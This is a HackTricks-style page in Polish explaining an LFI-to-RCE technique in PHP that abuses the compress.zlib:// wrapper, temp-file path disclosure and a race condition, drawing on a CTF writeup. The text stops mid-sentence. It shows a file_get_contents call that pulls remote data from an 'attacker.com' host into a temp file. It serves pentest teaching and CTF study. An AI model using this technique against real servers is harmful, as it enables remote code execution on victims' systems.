# LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STDIO + Path Disclosure {{#include ../../banners/hacktricks-training.md}} ### `compress.zlib://` i `PHP_STREAM_PREFER_STDIO` Plik otwarty za pomocą protokołu `compress.zlib://` z flagą `PHP_STREAM_PREFER_STDIO` może kontynuować zapisywanie danych, które przychodzą do połączenia później, do tego samego pliku. To oznacza, że wywołanie takie jak: ```php file_get_contents("compress.zlib://http://attacker.com/file") ``` Wyśle żądanie o http://attacker.com/file, wtedy serwer może odpowiedzieć na żądanie ważną odpowiedzią HTTP, utrzymać połączenie otwarte i wysłać dodatkowe dane trochę później, które również zostaną zapisane w pliku. Możesz zobaczyć te informacje w tej części kodu php-src w main/streams/cast.c: ```c /* Use a tmpfile and copy the old streams contents into it */ if (flags & PHP_STREAM_PREFER_STDIO) { *newstream = php_stream_fopen_tmpfile(); } else { *newstream = php_stream_temp_new(); } ``` ### Warunek wyścigu do RCE [**Ten CTF**](https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer) został rozwiązany przy użyciu poprzedniego triku. Atakujący sprawi, że **serwer ofiary otworzy połączenie, odczytując plik z serwera atakującego** za pomocą protokołu **`compress.zlib`**. **Podczas** gdy to **połączenie** istnieje, atakujący **wyeksfiltruje ścieżkę** do utworzonego pliku tymczasowego (jest ujawniana przez serwer). **Podczas** gdy **połączenie** jest nadal otwarte, atakujący **wykorzysta LFI, ładując plik tymczasowy**, który kontroluje. Jednak w serwerze WWW istnieje sprawdzenie, które **zapobiega ładowaniu plików zawierających `